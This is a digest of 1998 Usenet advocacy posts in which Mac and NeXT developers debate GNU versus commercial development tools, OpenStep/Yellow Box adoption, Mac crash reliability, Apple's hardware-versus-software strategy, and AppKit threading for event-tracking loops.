Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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Cc: woody@alumni.caltech.edu
Organization: none
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179>
<EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net>
Mime-Version: 1.0
Date: Fri, 4 Sep 1998 17:24:57 GMT
In <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> "William Edward Woody" wrote:
> The problem with using the GNU tools is twofold--first, it's a matter
> of who supports the tools?
A huge and increadible helpful community of GNU user - like the Linux
people.
> I buy the upgrade for my Codewarrior product is for them to upgrade
> their tools and fix bugs. In a sense I look at the payment to Metrowerks
> as a form of "support contract". (And I switched from Think when it
> seemed clear that Symantec's support of it's tools during the PowerPC
> transition sucked compared to Metrowerks.)
This goes directly to the whole issue of OpenSource though. You see the
same argument over and over again, that because there's no real "head" of the
chain, then obviously the code won't get as many fixes or be as well
supported.
In reality of course these arguments are not only baseless, but the exact
opposite f reality. Currently the commercial vendors are the ones with all
the problems with performance and bugs, while the public software is
increadibly stable and and fast.
Compilers are a specific subset of this, because of some issue I don't
understand about GCC. However egcs seems to be as good as anything anywhere.
> The second problem is that while there are a lot of hard-core
> hacker types who think the command-line interface is next to
> godliness, I find hacking Makefiles distasteful. And so I prefer
> the CW IDE over various GNU tools because the integrated
> development environment is easier and faster for me to use
> on 99.8% of my programming projects.
Then it's clear you're in the same camp as Lawson.
> So the reason why I believe in this case that Larson is
> correct is because people won't switch to the GNU tools if
> they have a friendlier and better supported toolset.
Like YB and the OpenStep development platform. Which is untouchable. It
appears you really haven't looked at the platform at all, because it has a
GUI IDE that's OK (not as good as CW's though) and a development
_systemology_ that's unbelevable. Literally, I did not believe it until I
tried it.
This strikes me as one more example of what really gets my craw - you
haven't seen the system but based on other arguments which are equally wrong
you're willing to write it off. This is not aimed at you personally, but I
see this as a common problem in the entire Mac developer community - they're
terrified of OpenStep but for no reason because the majority haven't even
bothered to go to Apple's excellent web pages and read about it.
I don't understand how this happened. In the past Apple could release
UTTER GARBAGE and the developers would look at it, some would use it, and
some would be convinced it was good. Now Apple has the world's best
development system, and somehow it's tainted and people won't even LOOK at
it. Oh well, their loss, my gain.
> I don't think many companies will be comfortable developing
> using the GNU tools regardless of the degree of "free"
> support there is out there--they want to know there is a
> company out there who is backing the tools.
Outdated concepts from the pre-internet days.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Date: Fri, 04 Sep 1998 10:57:28 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0409981057290001@sf-pm5-19-83.dialup.slip.net>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com>
In article <paul_lucente-ya02408000R0409980938140001@merck.com>,
paul_lucente@merck.com (Paul Lucente) wrote:
> In article <6soem6$8a3$1@nnrp1.dejanews.com>, Nepenthe@my-dejanews.com wrote:
>
> > In article
> > <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > On the mac, netscape freezes, I have to restart which takes several
> > > minutes, plus I have lost the unread status of articles I have read, plus
> > > my letter to grandma is gone. Just having to restart and then redial my
> > > isp is a pain
> >
> > On YOUR Mac. On MY Mac when netscape freezes, I force it to quit, save data
> > in all my open apps (for safety) relaunch netscape and continue on my merry
> > way.
>
>
> My experience differs. Any time I've ever force quit an application under
> Mac OS, its only been a matter of seconds until either another app puked,
> or the whole OS locked up. I don't think I've EVER been able to even
> relaunch the crashed app and not have it die again very soon after
> relaunch.
>
> But I've heard a lot of people make the claim that they can force quit an
> app and continue working problem free. What am I doing wrong? Is there a
> special trick to it other than hitting option-command-esc?
Frankly, I think a lot of these differences in behavior testified to on this NG
are the result of hardware design problems. I am beginning to believe that some
Mac models are simply less reliable than others. I know for instance, that
the combination of OS8 and the 7200 motherboard (Tsunami?) that many of
the Mac clones were based upon gives rock-solid performance. People I know
with Mac 7200, 7500, 7600 and PowerComputing PowerCenter, PowerCenter
Pro, PowerCurve, and most Motorola clones have computers which rarely if
ever crash. Others I know with G3 machines, 8500s, and various PPC Performas
do experience crashes more than once a month. One friend who has a PPC
Performa (I forget its model number) has a machine that crashes EVERY time
he runs Netscape Navigator. We've tried: sending the machine in for repair
(they replaced the MB), with no luck, we tried swapping out memory, swapping
out the HD, we tried AppDisk (a shareware RAMdisk application) for the
cache in Netscape, re-installing a clean system 8.1 on a recently re-initialized
HD and ran Norton Utilities on it to check for bad blocks, we tried running with
NO non-system extensions or control panels. All to no avail. I suspect the
computer design. That's really all there is left. That conclusion DOES explain
why some people with Macs never have crashes while others have machines
which crash constantly. If this is so, then shame on Apple for releasing such
unstable designs.
GG
>
>
> The contents of this message express only the sender's opinion.
> This message does not necessarily reflect the policy or views of
> my employer, Merck & Co., Inc. All responsibility for the statements
> made in this Usenet posting resides solely and completely with the
> sender.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: chuck@codefab.com
Organization: none
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<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
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<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
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Date: Fri, 4 Sep 1998 18:22:03 GMT
In <6sp5su$pgv$1@news.spacelab.net> "Charles W. Swiger" wrote:
> There is a performance hit when multithreading is enabled which can be
significant
> because of mutex overhead. Multithreading also increases the processes'
resource
> utilization (seperate stacks per thread, et al).
Depends on the implementation of course, good design can overcome much of
this. Yet the key issue here is that it appears _one_ thread can solve the
problem (no? basically all the tracking loops would go into this thread,
right?). I don't see the need for the per-window threads, those are edge
cases and we'll let the authors use them if they want.
> There should be a single way of writing event management code that works
for both
> threaded and non-threaded applications.
Indeed.
> The Appkit should not enforce a design decision like multithreading. The
Appkit should
> support both single- and multithreaded apps as far as possible, not favor
one paradigm
> over the other.
Notably considering it's x-platform abilities. Just because the new kernel
is likely to have good threading performance doesn't mean it's safe to assume
Windows will!
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Sep 1998 18:32:40 GMT
Organization: University of California at San Diego
Message-ID: <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com>
On Fri, 04 Sep 1998 11:11:43 -0500, Michael Peck wrote:
:>
:> You can also say the same for Sun and SGI. (Java and OpenGL) Why doesn't
:> anyone expect them to pick only hardware or only software?
:
:All of sudden? On a dime? That would be ridiculous. Nobody is suggesting
:that Apple give up hardware in one quarter, or even in one year. And
:besides, it is clear that both Sun and SGI are leveraging their hardware
:to increase software sales, even on other platforms.
They are? I don't see any evidence of that. Does Javasoft make money for
Sun? Does it even pay its own bills? (And who would buy from Javasoft/
Sunsoft without SMCC's hardware revenues supporting Sun?)
: Apple, on the other
:hand, is leveraging software to sell hardware. It is a totally
:different, and in my opinion a fundamentally flawed, approach.
Trying to make money selling general purpose applications software or
infrastructure puts you in direct competition with Microsoft. They
really hate that. Sun doesn't have Microsoft's kind of power to
squash Apple in a workstation market.
Linux can actually get away with it because there isn't any way to use
sleazy tricks or deals to squash it; it's like those nuclear war proof
cockroaches.
:> Careful observers once claimed that the only thing holding NeXT back
:> was it's hardware business. Careful observers once thought the world
:> was flat.
:
:Do these assets (the ones I mentioned) lie in the software domain or
:not? I don't think you can get around this question, try as you might.
Yes: NeXT had great software and pretty good hardware.
That doesn't mean that you can make a successful business doing just
software, especially infrastructure software, alone. It even seems
incredibly logical and obvious, and it seemed logical and obvious to
many people, but it ain't so.
The current CEO of Apple once tried this and spent more of his own
cash than I'll earn in a lifetime pursuing this idea. You might then
say, "well they didn't charge $69.95 for OpenStep". Yes that's true.
But it doesn't seem like they could have survived for long enough on
that.
Just as Javasoft couldn't survive for more than a few months from JDK
license fees. And then what?
If NeXT couldn't do it with software 10 years ahead of the competition...
You can't sell operating system infrastructure without some deep
assurance that the company and operating system will still be thriving
in a decade or two. Playing the 'internet burn' game, losing massive
money at the beginning to try to get huge market share isn't a
suitable strategy.
Look how long it took Linux to get there, and it's FREE.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 04 Sep 1998 13:32:32 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F03240.EFCA4EBD@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <slrn6uugb2.26p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> In other words, Sun did not choose between hardware and software.
I don't know anyone who is asking Apple to "choose". The focus is on
"choice", ironically. In other words, offer customers the "choice" and
allow Apple to profit from that "choice". Squelching MacOS for Intel and
limiting the availability of other software technologies on other
platforms has been a trademark of Apple's operation since its inception.
When customers have chosen, Apple will then be free to leverage each
component to its maximum benefit, both to the company and to its
customers (there is a strong link, here, believe it or not). Sun's
hardware still provides value to its customers; there's no reason to
"choose", in that case. By contrast, Apple's hardware was of diminishing
value, as evidenced by the results of the cloning program.
Someday, perhaps when Merced begins to ship in volume, Sun's hardware
may be less compelling, and hardware sales may diminish significantly.
When that happens you can expect Sun to be ready to switch over to
software solutions; don't bet against it. The recent flurry of activity
of Solaris for Merced and licensing of the same is evidence for this, as
is the strong JavaSoft program.
As a counter-example, take Silicon Graphics, which is exiting its own
processor business. It will be selling primarily NT-based hardware
solutions in the not-so-distant future, presumably. Did you know that
Hewlett-Packard sold more NT workstations last year than PA/RISC-based
HP-UX boxes?
> It makes its money selling hardware, which is made uniquely valuable by
> its software.
>
> Just like Apple.
No, *not* "just like Apple". I've tried to explain the differences; I
have to let you figure it out.
> :Careful observers may note that these assets lie almost exclusively in
> :the software domain. Is an answer forming in your mind?
>
> Yes: if Apple loses price/performance in hardware it is toast, no matter
> what they do for software.
As I've already said, this is a short-term concern, mostly brought upon
themselves by even recent campaigns touting the advantages of Apple
hardware, not Apple software. Ironic, no?
Sun's price/performance is diminishing rapidly, but Sun is not "toast".
Do you wonder why this is, or will you simply dismiss it?
> If Apple fails to maintain modern standards
> in software, it is toast, no matter what they do for hardware, though this
> would be a slightly slower death.
Obviously, a much slower death, since this is the death we've been
witness to for the past four years. By the way, what kept Apple sales
strong from roughly 1990 to 1994? Was it sales of the underpowered 68K
series, or even the overpriced and underwhelming PowerPC? I don't think
so.
> So, why must Apple choose between hardware and software? It seems to me
> that they can't ignore either one. Just like Sun.
Of course they can't ignore either one: they have to carefully watch the
market and balance as they go forward. In my opinion, the market has
been signalling its moves for the past ten years, and everyone is going
to have to push software *really* hard or they're going to miss the big
picture. Hardware's importance has been diminishing since well before
NeXT realized what was happening.
The eventual outcome of a prudent strategy will almost certainly be a
general reliance on software tools. That's just my prediction; in any
case Apple is not balancing things well at all.
> Notice that Sun's acquiescence of cloning doesn't extend to its high-profit
> lines,
Precisely! Didn't we see that the very market in which clones clobbered
Apple was in low-end systems, where more nimble competitors could
stretch margins the farthest? Even so, Apple's new "wave of the future"
is in a low-end product, the iMac. This doesn't strike you as odd?
Haven't you been listening to what I've said? Take Silicon Graphics as
an example, yet again. Where does SGI ship NT systems? To its low-end
market, of course. Where does Digital ship NT systems? To its low-end
market, of course. Where does Hewlett-Packard ship NT systems? To its
low-end market.
Apple's shipment of the iMac is disconcerting.
> and that Solaris x86 is wilting under neglect.
This is not fair in the least. Solaris x86 is a crown jewel for Sun,
even though most people don't know it. Sun has continued to ship the
product year after year, despite disappointing sales. Most other
companies (like Apple, for instance) would have dropped it long ago. Sun
knows what it's doing because it sees the transition coming.
> Yes. I also include trying to get PC companies to pre-load commercial
> operating systems other than Windows.
>
> As Jobs once said, if Apple tried to do that in 1989, instead of today,
> things could have turned out very different. But the right answer then
> is not the right answer now.
Perhaps. But there are different reasons that it's the right answer
today, at least for portable operating systems like Linux. It's still
the wrong answer for Apple because MacOS still doesn't run on
alternative hardware. The longer it goes on, the more ingrained becomes
the mentality that says "MacOS is irrelevant to me".
> :After several years of increasingly
> :disappointing results (but probably not surprising) some of its
> :importance and relevance was regained through vending of advanced
> :software tools instead of obsolete hardware.
>
> But almost surely these niches were on the verge of being Borged or Javaized.
That happens when you're too late to market.
> :Huh? Suppose I sell consumer stereo systems. Have I become a replacable
> :and boring vassal of musicians and talk radio hosts?
>
> No, radio is a competitive market, and everybody has access to the
> basic operating system software (FM demodulation) by government regulation.
How are operating systems different? I have access to basic operating
system software *not* by government regulation. Yeah, I guess that's the
difference: I'd rather have what I have without government that with it.
Good point.
MJP
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 4 Sep 1998 18:50:14 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6spcp6$inq$1@news.cs.tu-berlin.de>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <EyqADA.654@T-FCN.Net> <6snolt$k6i1@odie.mcleod.net> <E
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maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6snolt$k6i1@odie.mcleod.net> "Michelle L. Buck" wrote:
[..]
>> NeXT should have used the always available -mouseDragged: method of
>> NSResponder instead. By stealing events "out of band" during scrolling,
>> events such as timer events that would have caused animation or whatever
>are
>> consumed and all non scroll related work stops. Using -mouseDragged:
>> instead would have avoided this.
> Ok, why didn't they do this then? Is this something we should lobby for?
I think one reason was performance. Keeping a view focused and getting
events straight as they come in used to be significantly faster than
having the full event-handling + view-updating machinery invoked, at
least on '040 hardware (and so probably on the original '030ies as
well :-)
Probably wouldn't make too much of a difference on a G3...
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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Cc: jhendry@shrike.depaul.edu
Organization: none
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
<ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net>
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Date: Thu, 3 Sep 1998 16:30:05 GMT
In <35eeaf7f.0@news.depaul.edu> Jonathan W Hendry wrote:
> If they weren't going to ship YB/Windows, then Display Postscript's
> runtime fees would not be an issue. They could have saved a lot
> of work by keeping DPS for MacOS/X,
Hmm, interesting way of looking at it.
Maury
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 4 Sep 1998 19:11:30 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6spe12$1m0$1@news.spacelab.net>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <Eyrv0s.FJ@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <6sp5su$pgv$1@news.spacelab.net> "Charles W. Swiger" wrote:
>> There is a performance hit when multithreading is enabled which can be
>> significant because of mutex overhead. Multithreading also increases the
>> processes' resource utilization (seperate stacks per thread, et al).
>
> Depends on the implementation of course, good design can overcome much of
> this.
Good implementation and design can reduce the overhead costs of
multithreading, but this cost cannot be eliminated entirely.
> Yet the key issue here is that it appears _one_ thread can solve the
>problem (no? basically all the tracking loops would go into this thread,
>right?). I don't see the need for the per-window threads, those are edge
>cases and we'll let the authors use them if they want.
Exactly. I'm not saying that the developer should not be able to
conveniently multithread their app with whatever design makes sense (one
thread per window, one thread per widget, whatever).
>> The Appkit should not enforce a design decision like multithreading. The
>> Appkit should support both single- and multithreaded apps as far as
>> possible, not favor one paradigm over the other.
>
> Notably considering it's x-platform abilities. Just because the new
> kernel is likely to have good threading performance doesn't mean it's safe
> to assume Windows will!
Very true.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 4 Sep 98 12:15:12 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2158A70-C061C@206.165.43.164>
References: <EyrsDM.Hsp@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>> I don't think many companies will be comfortable developing
>> using the GNU tools regardless of the degree of "free"
>> support there is out there--they want to know there is a
>> company out there who is backing the tools.
>
> Outdated concepts from the pre-internet days.
Maybe so, but it is the *perception* that is important, no?
Heidi and, eventually, Steve Jobs, realized that it was too big a jump to
go directly from the Mac ToolBox API using MPW/CW/Think to the Yellow Box
framework using Objective-gcc and Interface Builder, for a vast number of
Mac developers, especially those with legacy code...
ESPECIALLY those developers with millions of customers for their
cross-platform products based on legacy code, such as Microsoft and Adobe
and the other "Top 100 Mac Developers" who are explicitly targeted by the
Carbon API.
No-one is stopping you from using the Yellow Box. The only reason why I am
doing GXFCN using the obsolete GX API is because
1) I want to make a product that the entire Mac community can use, not just
those with the latest OS and hardware
2) there are important features in GX that deserve to be brought into
Carbon and the Yellow Box that are simply not supported directly by the PDF
model, such as overlapping non-opaque (not just transparent) objects,
especially bitmaps, and editable graphics once a 3D perspective has been
applied (this appears to be a BIG selling point of Adobe's new K2 app, so
apparently even Adobe appears to believe that the PDF model is too
limiting). GXFCN will make it obvious to end-users and developers that
these features are doable, have already been done by Apple and deserve to
be brought into double-ought programming on the Mac.
3) GX is available for every color Mac. An ultra-cheap, full-featured,
GX-based drawing and text app that uses the GX file format could (and
should) be the basis for low-end text and graphics sharing on the Mac. PDF
is a bit unwieldy for use as the next TEXT/PICT format in the consumer
arena, IMHO. If the Carbon/YB graphics engine supported GX-style color
manipulation of bitmaps and the editing of text and graphics using a 3x3
matrix, a low-end GX-like library could be made available under
Carbon/MacOS X. This would allow sharing of reasonably high-end, device
independent graphics and text across all color Macs, not just the latest,
thereby improving the continuity of graphics and programming between
generations of MacOS and Mac hardware.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 02 Sep 1998 15:41:27 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0209981541270001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <MA1H1.2932$MS.7264743@news.rdc1.sdca.home.com>
In article <MA1H1.2932$MS.7264743@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-3108980032370001@dialin9062.slip.uci.edu> Robert Cassidy wrote:
>> That's an excellent point. I would actually look at a product like
>> Photoshop and decide 'well, we don't need our own colorpickers. We'll just
>> use the ones in the OS. And we don't need our own scripting language,
>> we'll use the one in the OS.' Apple starts streamlining a lot of these
>> apps (like MS does) and at the same time builds in distinct advantages.
>> The burden for parity falls on MS. The risk is that Apple and MS possibly
>> get back into a pissing contest.
>>
>>
>This is the tone of the discussion where I get a distinct " We want OS level
> integration stability" with vendor's implementing their specific GUI onto
>he objects.
Well, I think that the app developers have gotten into the habit of
implementing OS level services when the OS vendors have failed to provide
them in a timely fashion. But I'm at a loss why they remain in there. To
confuse the user unnecessarily? To provide more code to support as a whim?
The fact that my Photoshop color pickers and my Cyberstudio color pickers
are different is annoying. I want the OS one. I want some uniformity. The
same goes for AS, and QT, and cut and paste, and so on.
I don't care at all that they are the same across platforms. After all,
how many different computers do they think I have on my desk?
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Date: Wed, 02 Sep 1998 15:48:33 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0209981548340001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu> <640H1.2918$MS.7205576@news.rdc1.sdca.home.com>
In article <640H1.2918$MS.7205576@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-3108980020470001@dialin9062.slip.uci.edu> Robert Cassidy wrote:
>> The hardware is fine
>> for the task. The problem lies with poor app support and interoperability.
>>
>>
>
>This is where I have difficulty in this thread. App support and
>ility ring in my ears as OS level integration. Evangelists pumping Apple
>uice" down the ears of Adobe programmers to get with the Mac program simply
>has a hollow ring. Is the suggestion to Apple to rewrite their interfaces to
>o support Adobe/Quark? Sounds like tail wagging the dog again.
Why should Apple rewrite for Adobe? The situation is _never_ that I have
an Adobe app that I run on 6 different OSes and expect uniformity among
them. Rather, I run MacOS and have 6 different apps and expect uniformity
among them.
The platform is the unifying element for the user. When appropriate, the
app should yield to the experience and services provided by the OS. I buy
Macs in large part because of Applescript. The fact that Photoshop did not
support it was a *major* issue for me, and the main reason why I didn't
waste my money on version 5. Apple's role is to provide services that are
common and extend across multiple apps - like a color picker, or printer
drivers. When Pagemaker _completely_ ignores Apples printer drivers,
suddenly I have UI issues, driver issues, support issues, and so on.
>> But if the 3rd party solves the problems more effectively on NT than on
>> MacOS, then the problem is uniquely Apple's. And that is the problem they
>> face right now.
>>
>That's the problem to be solved. Is it technical? Or is it a smallish
>et effect (ie. Mac).
Both. Some of it has been technical. Some of it not.
-Bob Cassidy
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: chuck@codefab.com
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
<Eyrv0s.FJ@T-FCN.Net> <6spe12$1m0$1@news.spacelab.net>
Mime-Version: 1.0
Date: Fri, 4 Sep 1998 20:09:27 GMT
In <6spe12$1m0$1@news.spacelab.net> "Charles W. Swiger" wrote:
> Good implementation and design can reduce the overhead costs of
> multithreading, but this cost cannot be eliminated entirely.
It depends. Solaris claims that the use of threads as interrupt handlers
for instance, which would seem terribly expensive at fitst glance, pays
itself back on multi-CPU's because it dramatically reduces the large-scale
locking otherwise needed for interrupt handling - you simply block the
current thread and switch to the new one, and the natural scheduling policies
take care of the rest.
Not I'm not claiming there's anything similar here, but it's possible the
simplification of the code could result in a more "obvious" code base that
would be easier to tune in a few spots.
On the other hand I'm not yet convinced we can't get 90% of the behaviour
we want with no threads at all. As Michelle pointed out most of the
behaviour in the scrolling is due to poor code in the scrollers. And my
example in the MacOS side of things in the menu is another. Unfortunately I
don't see any trivial general ways to eliminate all of these cases, if you
get into a tracking loop and nothing happens you block, and if you're in the
main thread, it blocks.
The question I see then is why they do this. One claim (seems like a good
one too) is former performance issues. Another I suppose is where to send
the events. If I'm sitting in a loop watching for mouseMoveds, is there any
safe non-threaded solution to what to do if I don't get any events? I would
guess that there isn't.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Content-Type: text/plain; charset=us-ascii
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Cc: forrestDELETE-THIS!@west.net
Organization: none
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
<ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net>
<forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:40:44 GMT
